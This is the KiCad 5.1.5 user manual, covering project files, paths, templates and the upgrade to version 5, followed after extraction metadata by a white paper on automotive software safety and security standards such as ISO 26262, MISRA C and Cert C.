Being open source (GPL licensed), KiCad represents the ideal tool for projects oriented towards the creation of electronic hardware with an open-source flavour.
KiCad is available for Linux, Windows and Apple macOS.
## 1.2 KiCad files and folders
KiCad creates and uses files with the following specific file extensions (and folders) for schematic and board editing.
### Project manager file:
<table>
<thead>
<tr>
<th>File Format</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>*.pro</td>
<td>Small file containing a few parameters for the current project, including the component library list.</td>
</tr>
</tbody>
</table>
### Schematic editor files:
<table>
<thead>
<tr>
<th>File Format</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>*.sch</td>
<td>Schematic files, which do not contain the components themselves.</td>
</tr>
<tr>
<td>*.lib</td>
<td>Schematic component library files, containing the component descriptions: graphic shape, pins, fields.</td>
</tr>
<tr>
<td>*.dcm</td>
<td>Schematic component library documentation, containing some component descriptions: comments, keywords, reference to data sheets.</td>
</tr>
<tr>
<td>*_cache.lib</td>
<td>Schematic component library cache file, containing a copy of the components used in the schematic project.</td>
</tr>
<tr>
<td>sym-lib-table</td>
<td>Symbol library list (symbol library table): list of symbol libraries available in the schematic editor.</td>
</tr>
</tbody>
</table>
### Board editor files and folders:
<table>
<thead>
<tr>
<th>File Format</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>*.kicad_pcb</td>
<td>Board file containing all info but the page layout.</td>
</tr>
<tr>
<td>*.pretty</td>
<td>Footprint library folders. The folder itself is the library.</td>
</tr>
<tr>
<td>*.kicad_mod</td>
<td>Footprint files, containing one footprint description each.</td>
</tr>
<tr>
<td>*.brd</td>
<td>Board file in the legacy format. Can be read, but not written, by the current board editor.</td>
</tr>
<tr>
<td>*.mod</td>
<td>Footprint library in the legacy format. Can be read by the footprint or the board editor, but not written.</td>
</tr>
<tr>
<td>fp-lib-table</td>
<td>Footprint library list (footprint library table): list of footprint libraries (various formats) which are loaded by the board or the footprint editor or CvPcb.</td>
</tr>
</tbody>
</table>
### Common files:
<table>
<thead>
<tr>
<th>File Format</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>*.kicad_wks</td>
<td>Page layout description files, for people who want a worksheet with a custom look.</td>
</tr>
<tr>
<td>*.net</td>
<td>Netlist file created by the schematic, and read by the board editor. This file is associated to the .cmp file, for users who prefer a separate file for the component/footprint association.</td>
</tr>
</tbody>
</table>
Special file:
| *cmp | Association between components used in the schematic and their footprints. It can be created by Pcbnew and imported by Eeschema. Its purpose is to import changes from Pcbnew to Eeschema, for users who change footprints inside Pcbnew (for instance using *Exchange Footprints* command) and want to import these changes in schematic. |
Other files:
They are generated by KiCad for fabrication or documentation.
| *gbr | Gerber files, for fabrication. |
| *drl | Drill files (Excellon format), for fabrication. |
| *pos | Position files (ASCII format), for automatic insertion machines. |
| *rpt | Report files (ASCII format), for documentation. |
| *ps | Plot files (Postscript), for documentation. |
| *pdf | Plot files (PDF format), for documentation. |
| *svg | Plot files (SVG format), for documentation. |
| *dxf | Plot files (DXF format), for documentation. |
| *plt | Plot files (HPGL format), for documentation. |
Chapter 2
Installation and configuration
2.1 Display options
Hardware accelerated renderer in Pcbnew and Gerbview requires video card with support of OpenGL v2.1 or higher.
2.2 Initialization of the default configuration
The default configuration file named `kicad.pro` is supplied in kicad/template. It serves as a template for any new project and is used to set the list of library files loaded by Eeschema. A few other parameters for Pcbnew (default text size, default line thickness, etc.) are also stored here.
Another default configuration file named `fp-lib-table` may exist. It will be used only once to create a footprint library list; otherwise the list will be created from scratch.
2.3 Modifying the default configuration
The default `kicad.pro` file can be freely modified, if desired.
Verify that you have write access to kicad/template/kicad.pro
Run KiCad and load `kicad.pro` project.
Run Eeschema via KiCad manager. Modify and update the Eeschema configuration, to set the list of libraries you want to use each time you create new projects.
Run Pcbnew via KiCad manager. Modify and update the Pcbnew configuration, especially the footprint library list. Pcbnew will create or update a library list file called `footprint library table`. There are 2 library list files (named `fp-lib-table`): The first (located in the user home directory) is global for all projects and the second (located in the project directory) is optional and specific to the project.
2.4 Paths configuration
In KiCad, one can define paths using an environment variable. A few environment variables are internally defined by KiCad, and can be used to define paths for libraries, 3D shapes, etc.
This is useful when absolute paths are not known or are subject to change (e.g. when you transfer a project to a different computer), and also when one base path is shared by many similar items. Consider the following which may be installed in varying locations:
- Eeschema component libraries
- Pcbnew footprint libraries
- 3D shape files used in footprint definitions
For instance, the path to the `connect.pretty` footprint library, when using the `KISYSMOD` environment variable, would be defined as `${KISYSMOD}/connect.pretty`
This option allows you to define a path using an environment variable, and add your own environment variables to define personal paths, if needed.
**KiCad environment variables:**
<table>
<thead>
<tr>
<th>Variable</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>KICAD_PTEMPLATES</td>
<td>Templates used during project creation (DEPRECATED as of version 5.0.0-rc2, use KICAD_TEMPLATE_DIR instead). If you are using this variable, it must be defined.</td>
</tr>
<tr>
<td>KICAD_SYMBOL_DIR</td>
<td>Base path of symbol library files.</td>
</tr>
<tr>
<td>KIGITHUB</td>
<td>Frequently used in example footprint lib tables. If you are using this variable, it must be defined.</td>
</tr>
<tr>
<td>KISYS3DMOD</td>
<td>Base path of 3D shapes files, and must be defined because an absolute path is not usually used.</td>
</tr>
<tr>
<td>KISYSMOD</td>
<td>Base path of footprint library folders, and must be defined if an absolute path is not used in footprint library names.</td>
</tr>
<tr>
<td>KICAD_TEMPLATE_DIR</td>
<td>Location of templates installed with KiCad.</td>
</tr>
<tr>
<td>KICAD_USER_TEMPLATE_DIR</td>
<td>Location of personal templates.</td>
</tr>
</tbody>
</table>
Note also the environment variable \texttt{KIPRJMOD} is always internally defined by KiCad, and is the current project absolute path.
For instance, \texttt{$\{KIPRJMOD\}/connect.pretty} is always the \texttt{connect.pretty} folder (the pretty footprint library) found inside the current project folder.
If you modify the configuration of paths, please quit and restart KiCad to avoid any issues in path handling.
2.5 Initialization of external utilities
You may define your favorite text editor and PDF viewer. These settings are used whenever you want to open a text or PDF file.
These settings are accessible from the Preference menu:

2.5.1 Selection of text editor
Before using a text editor to browse/edit files in the current project, you must choose the text editor you want to use. Select Preferences → Set Text Editor to set the text editor you want to use.
2.5.2 Selection of PDF viewer
You may use the default PDF viewer or choose your own.
To change from the default PDF viewer use Preferences → PDF Viewer → Set PDF Viewer to choose the PDF viewer program, then select Preferences → PDF Viewer → Favourite PDF Viewer.
On Linux the default PDF viewer is known to be fragile, so selecting your own PDF viewer is recommended.
2.6 Creating a new project
In order to manage a KiCad project consisting of schematic files, printed circuit board files, supplementary libraries, manufacturing files for photo-tracing, drilling and automatic component placement files, it is recommended to create a project as follows:
- Create a working directory for the project (using KiCad or by other means).
- In this directory, use KiCad to create a project file (file with extension .pro) via the “Create a new project” or “Create a new project from template” icon.
---
**Warning**
Use a unique directory for each KiCad project. Do not combine multiple projects into a single directory.
---
KiCad creates a file with a .pro extension that maintains a number of parameters for project management (such as the list of libraries used in the schematic). Default names of both main schematic file and printed circuit board file are derived from the name of the project. Thus, if a project called example.pro was created in a directory called example, the default files will be created:
<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>example.pro</td>
<td>Project management file.</td>
</tr>
<tr>
<td>example.sch</td>
<td>Main schematic file.</td>
</tr>
<tr>
<td>example.kicad_pcb</td>
<td>Printed circuit board file.</td>
</tr>
<tr>
<td>example.net</td>
<td>Netlist file.</td>
</tr>
<tr>
<td>example.*</td>
<td>Various files created by the other utility programs.</td>
</tr>
<tr>
<td>example-cache.lib</td>
<td>Library file automatically created and used by the schematic editor containing a backup of the components used in the schematic.</td>
</tr>
</tbody>
</table>
2.7 Importing a foreign project
KiCad is able to import files created using other software packages. Currently only Eagle 6.x or newer (XML format) is supported.
To import a foreign project, you need to select either a schematic or a board file in the import file browser dialog. Imported schematic and board files should have the same base file name (e.g. project.sch and project.brd). Once the requested files are selected, you will be asked to select a directory to store the imported files, which are going to be saved as a KiCad project.
Chapter 3
Using KiCad project manager
KiCad project manager (kicad or kicad.exe) is a tool which can easily run the other tools (schematic and PCB editors, Gerber viewer and utility tools) when creating a design.
Running the other tools from KiCad manager has some advantages:
- cross probing between schematic editor and board editor.
- cross probing between schematic editor and footprint selector (CvPcb).
However, you can only edit the current project files. When these tools are run in stand alone mode, you can open any file in any project but cross probing between tools can give strange results.
3.1 Project manager window
The main KiCad window is composed of a project tree view, a launch pane containing buttons used to run the various software tools, and a message window. The menu and the toolbar can be used to create, read and save project files.
### 3.2 Utility launch pane
KiCad allows you to run all standalone software tools that come with it.
The launch pane is made of the 8 buttons below that correspond to the following commands (1 to 8, from left to right):
| 1 | Eeschema | Schematic editor. |
| 2 | LibEdit | Component editor and component library manager. |
| 3 | Pcbnew | Board layout editor. |
| 4 | FootprintEditor| Footprint editor and footprint library manager. |
| 5 | Gerbview | Gerber file viewer. It can also display drill files. |
| 6 | Bitmap2component | Tool to build a footprint or a component from a B&W bitmap image to create logos. |
| 7 | Pcb Calculator | Tool to calculate track widths, and many other things. |
| 8 | Pl Editor | Page layout editor, to create/customize frame references. |
### 3.3 Project tree view
Double-clicking on the schematic file runs the schematic editor, in this case opening the file `pic_programmer.sch`.
Double-clicking on the board file runs the layout editor, in this case opening the file `pic_programmer.kicad_pcb`.
Right clicking on any of the files in the project tree allows generic file manipulation.
## 3.4 Top toolbar
KiCad top toolbar allows for some basic file operations:
<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>![Folder]</td>
<td>Create a new project. If the default template file (kicad.pro) is found in <em>kicad/template</em>, it is copied into the working directory.</td>
</tr>
<tr>
<td>![File]</td>
<td>Create a new project from an existing template.</td>
</tr>
<tr>
<td>![Folder]</td>
<td>Open an existing project.</td>
</tr>
<tr>
<td>![Folder]</td>
<td>Update and save the current project tree.</td>
</tr>
<tr>
<td>![ZIP]</td>
<td>Create a zip archive of the whole project. This includes schematic files, libraries, PCB, etc.</td>
</tr>
<tr>
<td>![Refresh]</td>
<td>Refresh the tree view, sometimes needed after a tree change.</td>
</tr>
</tbody>
</table>
Chapter 4
Project templates
Using a project template facilitates setting up a new project with predefined settings. Templates may contain pre-defined board outlines, connector positions, schematic elements, design rules, etc. Complete schematics and/or PCBs used as seed files for the new project may even be included.
4.1 Using templates
The File → New Project → New Project from Template menu will open the Project Template Selector dialog:
A single click on a template’s icon will display the template information, and a further click on the OK button creates the new project. The template files will be copied to the new project location and renamed to reflect the new project’s name.
After selection of a template:

### 4.2 Template Locations:
KiCad looks for template files in the following paths:
- path defined in the environment variable KICAD_USER_TEMPLATE_DIR
- path defined in the environment variable KICAD_TEMPLATE_DIR
- System templates: `<kicad bin dir>/../share/kicad/template/`
- User templates:
- Unix: `~/kicad/templates/`
- Windows: `C:\Documents and Settings\username\My Documents\kicad\templates`
- Mac: `~/Documents/kicad/templates/`
- When the environment variable KICAD_PTEMPLATES is defined there is a third tab, Portable Templates, which lists templates found at the KICAD_PTEMPLATES path (DEPRECATED).
4.3 Creating templates
The template name is the directory name where the template files are stored. The metadata directory is a subdirectory named **meta** containing files describing the template.
All files and directories in a template are copied to the new project path when a project is created using a template, except **meta**.
When a new project is created from a template, all files and directories starting with the template name will be renamed with the new project file name, excluding the file extension.
The metadata consists of one required file, and may contain optional files. All files must be created by the user using a text editor or previous KiCad project files, and placed into the required directory structure.
Here is an example showing project files for **raspberrypi-gpio** template:
And the metadata files:
4.3.1 Required File:
The `<title>` tag determines the actual name of the template that is exposed to the user for template selection. Note that the project template name will be cut off if it’s too long. Due to font kerning, typically 7 or 8 characters can be displayed.
Using HTML means that images can be easily in-lined without having to invent a new scheme. Only basic HTML tags can be used in this document.
Here is a sample `info.html` file:
```html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Raspberry Pi - Expansion Board</title>
</head>
<body lang="fr-FR" dir="LTR">
This project template is the basis of an expansion board for the Raspberry Pi $25 ARM board. This base project includes a PCB edge defined as the same size as the Raspberry-Pi PCB with the connectors placed correctly to align the two boards. All IO present on the Raspberry-Pi board is connected to the project through the 0.1" expansion headers. The board outline looks like the following:
</p>
<p><img src="brd.png" name="brd" align=bottom width=680 height=378 border=0></p>
(c) 2012 Brian Sidebotham (c) 2012 KiCad Developers</p>
</body>
</html>
```
### 4.3.2 Optional Files:
| meta/icon.png | A 64 x 64 pixel PNG icon file which is used as a clickable icon in the template selection dialog. |
Any other image files used by `meta/info.html`, such as the image of the board file in the dialog above, are placed in this folder as well.
Part I
Upgrading from Version 4 to Version 5
Changes were made to the behavior to KiCad during the version 5 development that can impact projects created with older versions of KiCad. This section serves as a guide to ensure the smoothest possible path when upgrading to version 5 of KiCad.
Chapter 5
Schematic Symbol Libraries
Schematic symbol libraries are no longer accessed using a symbol (referred to as components in version 4) look up list. Symbol libraries are now managed by a symbol library table that behaves similarly to the footprint library table. This change is a significant improvement, but some schematics may need manual intervention when being converted to version 5.
In previous versions, KiCad used a list of library files to search when locating symbols in the Eeschema file. When locating a symbol, each path would be searched and the first library that held the symbol name would be used.
From v5, KiCad symbol names are prefixed with a nickname, and a lookup table matching nicknames to library paths is used to locate the library which holds the symbol. The table is called the symbol library table and built from configuration files stored in the user’s KiCad configuration directory and the currently loaded project directory.
To upgrade a KiCad project from v4 to v5, nicknames for all of the library files need to be created and then schematic symbol names need to be prefixed with the correct nickname.
5.1 Global Symbol Library Table.
Eeschema v5 will automatically create a global symbol table when first started. You will be given a chance to skip this and create your own global symbol table by hand. You only need to do this if don’t use KiCad symbol libraries at all. Otherwise it is easier to modify the automatically generated global symbol table.
Note
If you track the symbol library repository, changes made to the default global symbol library table are not tracked by KiCad. You will have to manually keep the global symbol library table up to date.
5.2 Symbol Library Table Mapping
Automatic remapping of symbols will be executed whenever a schematic is opened that has not been remapped. There are a few steps you should take ahead of time in order for the remapping to be the most effective.
Note
If you have been using a development build of KiCad, copy the full default global symbol library table file (sym-lib-table) from the template folder installed with the KiCad libraries or from the KiCad library repo to your KiCad user configuration folder. This will replace the empty one (most likely) created by Eeschema. If you do not do this, you will most likely end up with a bunch of broken symbol links.
Warning
Remapped schematics will not be compatible with older versions of KiCad. The Remap Symbols dialog will make a backup of your schematic files and you should do the same if you remap manually.
1. If possible, keep version 4 of KiCad installed on your system unless you have never used any of the symbol libraries distributed with KiCad.
2. If you get warning about missing libraries when you start version 4 of Eeschema, make sure to fix the missing libraries if they contain symbols that are in the schematic before you attempt to remap your schematic. Otherwise, the correct symbol will not be found and you will end up with broken symbol links in your schematic. You can test this by left clicking on a symbol in the schematic and verifying that the symbol is not being loaded from the cache library. If a symbol is being loaded from the cache library, Eeschema cannot find your part in the system or project symbol libraries. If you need a cached part to be available to other projects on your system, you will need to integrate it into a system or project library manually.
3. If symbol recovery is required during the remapping process, do not dismiss it. Failure to recover symbols will result in broken symbol links or the wrong symbol being linked in the schematic.
4. During the remapping process, symbol libraries not found in the global symbol library table will be used to create a project specific symbol library table. You can move them manually to the global symbol library table if that is your preference.
5. For the most accurate remapping, create a project library by copying the project cache file (project-name-cache.lib) to a different file and add it to the top of the symbol library list. You must use a version of KiCad prior to the symbol library table implementation in order to do this.
Note
A tool has been provided to attempt to fix remapping issues. If there are missing symbol library links in a schematic, they can be fixed by opening the "Tools→Edit Symbol Library References..." menu entry and clicking on the "Map Orphans" button.
5.3 Remapping Search Order
When remapping symbols, KiCad proceeds in the following order to assign the library to a symbol:
1. Global Symbol Library Table: Symbols are preferentially mapped to the global symbol library table, if one exists.
2. Project specific libraries: Libraries listed in the project library list that are not in the global symbol library table are searched next.
3. Project cache file: If a symbol doesn’t exist in the listed libraries above, it is first rescued — a copy is made from the cache and placed in the `proj-rescue.lib` before the symbol is mapped to this new, rescue library.
5.4 Symbol Names and Symbol Library Nickname Limitations
Symbol names may not contain `<SPACE>`, `':'`, `'/`.
Library nicknames may not contain `<SPACE>`, `':'`.
Existing symbol names with these characters must be renamed by manually editing the relevant schematic and library files.
Chapter 6
Symbol Cache Library Availability
The cache library is no longer shown in either the symbol library viewer or the symbol library editor. The cache should never be edited because any changes are overwritten by the next schematic save.
Chapter 7
Board File Format Changes
Several new features have been added to Pcbnew which impact the board file format. Using these new features in board designs will prevent them from being opened with previous versions of Pcbnew.
- Rounded rectangle footprint pads.
- Custom shape footprint pads.
- Footprint pad names longer than four characters.
- Keep out zones on more than a single layer.
- 3D models offset saved as millimeters instead of inches.
- Footprint text locking.
7.1 Global Footprint Library Table.
If you track the footprint library repository, changes made to the default global footprint library table are not tracked by KiCad. You will have to manually keep the global footprint library table up to date.
|
{"Source-Url": "https://docs.kicad-pcb.org/5.1.5/en/kicad/kicad.pdf", "len_cl100k_base": 6438, "olmocr-version": "0.1.53", "pdf-total-pages": 27, "total-fallback-pages": 0, "total-input-tokens": 43974, "total-output-tokens": 7146, "length": "2e12", "weborganizer": {"__label__adult": 0.0007023811340332031, "__label__art_design": 0.003971099853515625, "__label__crime_law": 0.00032591819763183594, "__label__education_jobs": 0.0012216567993164062, "__label__entertainment": 0.00020062923431396484, "__label__fashion_beauty": 0.0004527568817138672, "__label__finance_business": 0.00034332275390625, "__label__food_dining": 0.0003008842468261719, "__label__games": 0.0017290115356445312, "__label__hardware": 0.06158447265625, "__label__health": 0.0003428459167480469, "__label__history": 0.0003566741943359375, "__label__home_hobbies": 0.0010385513305664062, "__label__industrial": 0.003658294677734375, "__label__literature": 0.0002053976058959961, "__label__politics": 0.000141143798828125, "__label__religion": 0.0009708404541015624, "__label__science_tech": 0.029205322265625, "__label__social_life": 9.006261825561523e-05, "__label__software": 0.302978515625, "__label__software_dev": 0.5888671875, "__label__sports_fitness": 0.00047206878662109375, "__label__transportation": 0.0006527900695800781, "__label__travel": 0.00023317337036132812}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 27799, 0.02124]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 27799, 0.2909]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 27799, 0.80468]], "google_gemma-3-12b-it_contains_pii": [[0, 6, false], [6, 24, null], [24, 1569, null], [1569, 2197, null], [2197, 3021, null], [3021, 4182, null], [4182, 6577, null], [6577, 7544, null], [7544, 9031, null], [9031, 11026, null], [11026, 11714, null], [11714, 14250, null], [14250, 14795, null], [14795, 15432, null], [15432, 16829, null], [16829, 17425, null], [17425, 17872, null], [17872, 18806, null], [18806, 19668, null], [19668, 21175, null], [21175, 21221, null], [21221, 21467, null], [21467, 23425, null], [23425, 26166, null], [26166, 26823, null], [26823, 27069, null], [27069, 27799, null]], "google_gemma-3-12b-it_is_public_document": [[0, 6, true], [6, 24, null], [24, 1569, null], [1569, 2197, null], [2197, 3021, null], [3021, 4182, null], [4182, 6577, null], [6577, 7544, null], [7544, 9031, null], [9031, 11026, null], [11026, 11714, null], [11714, 14250, null], [14250, 14795, null], [14795, 15432, null], [15432, 16829, null], [16829, 17425, null], [17425, 17872, null], [17872, 18806, null], [18806, 19668, null], [19668, 21175, null], [21175, 21221, null], [21221, 21467, null], [21467, 23425, null], [23425, 26166, null], [26166, 26823, null], [26823, 27069, null], [27069, 27799, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 27799, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 27799, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 27799, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 27799, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 27799, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 27799, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 27799, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 27799, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 27799, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 27799, null]], "pdf_page_numbers": [[0, 6, 1], [6, 24, 2], [24, 1569, 3], [1569, 2197, 4], [2197, 3021, 5], [3021, 4182, 6], [4182, 6577, 7], [6577, 7544, 8], [7544, 9031, 9], [9031, 11026, 10], [11026, 11714, 11], [11714, 14250, 12], [14250, 14795, 13], [14795, 15432, 14], [15432, 16829, 15], [16829, 17425, 16], [17425, 17872, 17], [17872, 18806, 18], [18806, 19668, 19], [19668, 21175, 20], [21175, 21221, 21], [21221, 21467, 22], [21467, 23425, 23], [23425, 26166, 24], [26166, 26823, 25], [26823, 27069, 26], [27069, 27799, 27]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 27799, 0.21711]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
64e9a65729ea660d26f95ac5fbc22726ac7dec70
|
Issues Facing Automotive Software Developers
Issue 1.6 - October 14, 2020
Contents
Contents...........................................................................................................................................2
List Of Figures....................................................................................................................................3
List Of Notation....................................................................................................................................3
CHAPTER 1 Introduction..................................................................................................................4
CHAPTER 2 Types of Automotive Software..................................................................................5
2.1 Control, Infotainment and Usability Software...........................................................................5
2.2 Advanced Driver Assistance Software (ADAS)..........................................................................5
2.3 Autonomous Driving Software..................................................................................................5
2.4 Safety-Critical Automotive Software..........................................................................................5
CHAPTER 3 Automotive Software Safety Development Standards..............................................7
3.1 ISO 26262......................................................................................................................................7
3.1.1 Self-Monitoring Software........................................................................................................7
3.2 Automotive Coding Standards..................................................................................................8
CHAPTER 4 No Safety Without Security........................................................................................9
4.1 Security Standards......................................................................................................................9
4.1.1 Secure Hardware Extension (SHE)..........................................................................................9
4.1.2 EVITA and PRESERVE............................................................................................................9
4.1.3 Cert C......................................................................................................................................9
4.2 Additional Security Specific Features.......................................................................................9
4.3 Physical Isolation......................................................................................................................10
4.4 The Supply Chain....................................................................................................................10
CHAPTER 5 Reusable Software Platforms....................................................................................11
5.1 OSEK...........................................................................................................................................11
5.2 AUTOSAR...................................................................................................................................12
CHAPTER 6 Software Architecture Considerations..............................................13
6.1 General Considerations..................................................................................13
6.1.1 “Should we use an RTOS?”..............................................................................14
6.2 Pre-Certified Software Modules......................................................................14
6.2.1 SAFERTOS®: An Example of a pre-certified Software Module.......................14
CHAPTER 7 Conclusions.........................................................................................15
References..............................................................................................................16
Contact Information................................................................................................17
List of Figures
Figure 2-1 Increasing in Complexity and Risk.........................................................6
Figure 5-1 An Example of an RTOS with an OSEK Layer..........................................11
Figure 5-2 An Example of ECU Hardware, Basic Software, AUTOSAR and Application Layer..........12
Figure 6-1 An Example of a Memory Protection Unit.................................................13
List of Notation
ADAS Advanced Driver Assistance Software
API Application Programming Interface
ECU Electronic Control Unit
MCU Microcontroller Unit
MPU Memory Protection Unit
MMU Memory Management Unit
RTOS Real Time Operating System
ASIL Automotive Safety Integrity Level
SEooC Safety Element Out Of Context
CHAPTER 1 Introduction
1.1 Introduction
There has been an amazing growth of software used within automobiles in recent years, with cars quickly becoming super computers on wheels. There are now significantly more lines of code within a premium branded car than on a jet aircraft. The challenges facing engineers developing embedded software for automobiles are great, and cover a very broad range of issues.
First to be touched on in this paper include the type of automotive software in question – important, as the system in which it will function affects not only the complexity but also the risk. We will see how the greater the control the software has over the vehicle, the more safety critical it becomes, hence Automotive Safety Development standards must be considered.
Closely tied to the issue of safety is security, as shown by some real life examples. There are a variety of considerations for security, including high level concerns such as supply chains, right down through to standards and security features within the code.
Finally, there is the re-usability of existing software modules to be taken into account, as well as the traditional challenge of ensuring the software has the technical ability to meet the requirements of the application.
This white paper introduces and discusses these issues that face embedded software engineers who are developing software for the automotive industry.
CHAPTER 2 Types of Automotive Software
Automotive software is a broad term; there are many different types of software covering a wide range of functions. One way of classifying software functionality within a vehicle is by how much control the software has over the vehicle.
2.1 Control, Infotainment and Usability Software
Firstly, there is the software that allows the driver to safely control the vehicle, but which can’t take direct control over the vehicle. This software is within the command, control and information systems, providing functionality including Engine Management, Powertrain, Braking, External Lighting and Instrument Panels.
There’s also the software within the vehicle’s comfort, usability and Infotainment systems; managing Climate Control, Windows Control, Central Locking, Interior Lighting, etc. These make the driving experience easier and more enjoyable, but if the software within these systems fails they would only become an inconvenience to the driver.
2.2 Advanced Driver Assistance Software (ADAS)
At the next level we have the software implementing Advance Driver Assistance Systems (ADAS). These systems can take limited control over a vehicle, however, the driver is still within the control loop of the vehicle. ADAS systems include Adaptive Cruise Control, Automatic Parking, Blind Spot Detector and Collision Avoidance Systems. It is an area of rapid development.
2.3 Autonomous Driving Software
Finally, there is the software that will implement the autonomous driving algorithms. Here the car uses a very broad array of sensors to make sense of its environment, and takes full control of the vehicle. In the UK fully autonomous driving will be phased in following a general strategy of “Hands Off, Eyes Off, Mind Off”.
The result of all this software development is that driver and pedestrian protection has moved from impact survival, to active avoidance. Håkan Samuelsson, President and CEO of Volvo Cars, even states that their vision is “that by 2020 no one should be killed or seriously injured in a new Volvo car”[1].
2.4 Safety- Critical Automotive Software
As established, within the vehicle there are many systems that rely on software. The software becomes more complex and processing intensive, but must still remain very responsive. The greater the control the software has over the vehicle, the higher the risk, and the more safety critical it becomes.
As a result, to keep drivers, pedestrians and the built environment safe, development and integration of automotive safety-critical software is being driven forward by international standards and regulations.
3.1 ISO 26262
The ISO 26262 standard is an adaptation of the Functional Safety standard IEC 61508 for Automotive Electric/ Electronic Systems. ISO 26262 defines Functional Safety for automotive equipment, applicable throughout the lifecycle of all automotive electronic and electrical safety-related systems.
Part 6 of ISO 26262 specifies the requirements for the development of software for automotive applications. These are the requirements for initiation of:
- product development at the software level;
- specification of the software safety requirements;
- software architectural design;
- software unit design and implementation;
- software unit testing;
- software integration and testing;
- verification of software safety requirements.
ASIL A is the lowest safety rating under this standard. ASIL D is the highest, and is achieved by performing a risk analysis of a potential hazard that examines the severity, exposure and controllability of the vehicle operating scenario.
If a generic software component such as an RTOS is under development, the final application where software will be used may not be known. Hence the software will have to be certified as a “Safety Element out of Context” (SEooC). When designing such software, assumptions will be made about its safety goals and ASIL level required. These safety goals must be described within the Safety Manual along with the installation and integration instructions. Developers using the software will need to confirm that the safety goals defined during the software’s development meet the requirements of their projects.
3.1.1 Self-monitoring Software
An interesting ISO 26262 requirement is the expectation that software runtime verification monitors will be used to detect, indicate and handle systematic faults within software rated ASIL C and D. This means that despite the fact that all the software has been designed and verified following a robust and rigorous safety critical development life cycle, ISO 26262 still requires self-verification of the software.
This can be illustrated with an example of an automotive software component - a real time operating system (RTOS). As standard the RTOS may include a range of built-in error checking routines, however to fully satisfy this requirement additional monitoring is required. Some RTOS vendors can provide a plugin module that provides a Task Monitoring capability, ensuring the scheduling of Tasks is occurring as intended, and within the expected time frame, hence satisfying the requirement.
3.2 Automotive Coding Standards
MISRA C is a set of software development guidelines for the C programming language initially developed by MISRA (Motor Industry Software Reliability Association) but now widely used across many industries.
Its aims are to facilitate code safety, security, portability and reliability in the context of embedded systems, specifically those systems programmed in C, by enforcing the implementation of good coding practises resulting in safer and more predictable code behaviour.
There are many design tools and static code checkers that can enforce MISRA rules within the software. However, having good coding style guidelines is only one small part of the overall solution, it does not replace the need for a formal design system.
CHAPTER 4 No Safety Without Security
On a modern connected car there can be no Safety without Security. Car Hacking is an emotive topic, and can include remote access using the cars Cellular Network Connection\(^2\), close to the vehicle via the Tyre Pressure Monitoring System\(^3\), or connected to the vehicle via the on board diagnostics software\(^4\).
Having software that is both safe and secure is an interesting mix. Safety software is designed for use in a structured environment, where the risks are identified, analysed and mitigations are put in place to reduce the risks to an acceptable level. Safety software takes a long time to develop and verify, is robust and reliable, and consequently is rarely updated: Whereas the security threat is constantly evolving, with attacks growing in complexity as hackers learn and develop knowledge on how to exploit the software. This results in software being regularly updated to counteract hacker attacks.
4.1 Security Standards
For safety, ISO 26262 Part 6 standardises software development, however for security there is no such dominant, overreaching design regulation. Just some of the many different security guidelines and standards are below.
4.1.1 Secure Hardware Extension (SHE)
Secure Hardware Extension (SHE) is a security standard which defines the operation of a security module. It allows a secure zone to be created in any ECU (electronic control unit), as well as effectively storing and managing security keys, among other features.
4.1.2 EVITA and PRESERVE
EVITA and PRESERVE are guidelines resulting from the European funded projects. EVITA specifies the design, verification and prototyping of software architectures, as well as a range of functions and parameters for the management of security and encryption keys.
PRESERVE has sprung from EVITA, and has focuses including the secure transmission of data and control information for the future Intelligent Transportation System (ITS), and the use of public key cryptography in the hardware security module.
4.1.3 Cert C
Cert C is a software coding standard from the Software Engineering Institute (SEI), which provides coding guidelines for those developing software that requires a degree of security. Cert C provides rules and recommendations which, when followed, result in less vulnerabilities for the hacker to exploit.
4.2 Additional Security Specific Features
When developing for automotive security, software developers need to consider closely the features to use.
For example, is the system using Verified Boot, and if so, does the device contain the correct software at boot time? Or features such as authentication- is it the correct device? Then there are Encryption and Decryption algorithms to keep the data secret, and public and private key management. In general, security is normally implemented by a combination of Software, with Hardware providing acceleration and isolation.
4.3 Physical isolation
Physical isolation is very important. Access should be restricted to the intended devices only, and the software should disable all unused ports and unwanted points of access. The security software should also be isolated from other software. How this is achieved depends on your selected hardware. For example, ARM provide Trust Zone, and Synopsys ARC provide SecureShield. Good isolation can also be achieved using the processors MPU/MMU correctly.
4.4 The Supply Chain
For those involved in purchasing software used within a security system, the length of the supply chain should be an important consideration. Every line of code in a software component needs to be verified and accounted for, which becomes simpler the shorter the chain. A long supply chain may be a result of companies including third party software within their project, which could be many levels deep.
